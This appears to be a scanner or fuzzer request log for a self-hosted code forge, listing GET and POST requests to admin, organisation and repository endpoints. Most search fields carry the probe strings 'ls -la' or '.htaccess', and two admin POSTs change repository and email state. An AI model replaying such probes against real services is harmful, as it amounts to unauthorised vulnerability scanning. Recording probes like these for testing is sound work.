{"method": "GET", "target": "/alice/tools/packages?q=ls%20-la&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/posters?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls/posters?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/orgs?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos?q=ls%20-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/emails?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/packages?q=ls%20-la&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 53", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=ls%20-la&page=1"}
|
||||||
|
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 98", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=ls%20-la&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
||||||
|
{"method": "GET", "target": "/explore/topics/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=.htaccess&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/search_candidates?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/notifications/watching?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/teams/-/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/code?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/projects?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=.htaccess&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=.htaccess&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/tags?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestone/1?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/projects?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/packages?q=.htaccess&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/posters?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls/posters?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
